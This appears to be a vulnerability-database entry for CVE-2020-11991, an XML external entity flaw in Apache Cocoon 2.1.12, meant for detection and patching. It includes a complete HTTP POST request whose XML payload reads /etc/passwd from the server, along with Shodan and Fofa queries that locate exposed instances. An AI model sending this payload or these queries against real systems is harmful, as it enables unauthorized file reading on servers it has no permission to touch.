🔙 목록으로 돌아가기

CVE-2020-11991: Apache Cocoon 2.1.12 - XML Injection

TitleApache Cocoon 2.1.12 - XML Injection
Authorpikpikcu
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and remote code execution.
RemediationUpgrade to Apache Cocoon 2.1.13 or later.
CVSS Score7.5
EPSS Score0.93142
CVE IDCVE-2020-11991
CWE IDCWE-611
Shodan Queryhttp.html:"Apache Cocoon"http.html:"apache cocoon"
Fofa Querybody="apache cocoon"
Tags cve cve2020 apache xml cocoon xxe vkev vuln

🔍 Vulnerability Description

Apache Cocoon 2.1.12 is susceptible to XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.

🌐 HTTP Request

POST /v2/api/product/manger/getInfo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 176
Accept: */*
Accept-Language: en
Content-Type: text/xml
Accept-Encoding: gzip

<!--?xml version="1.0" ?-->

<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>

<userInfo>

<firstName>John</firstName>

<lastName>&ent;</lastName>

</userInfo>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11991.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-11991.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A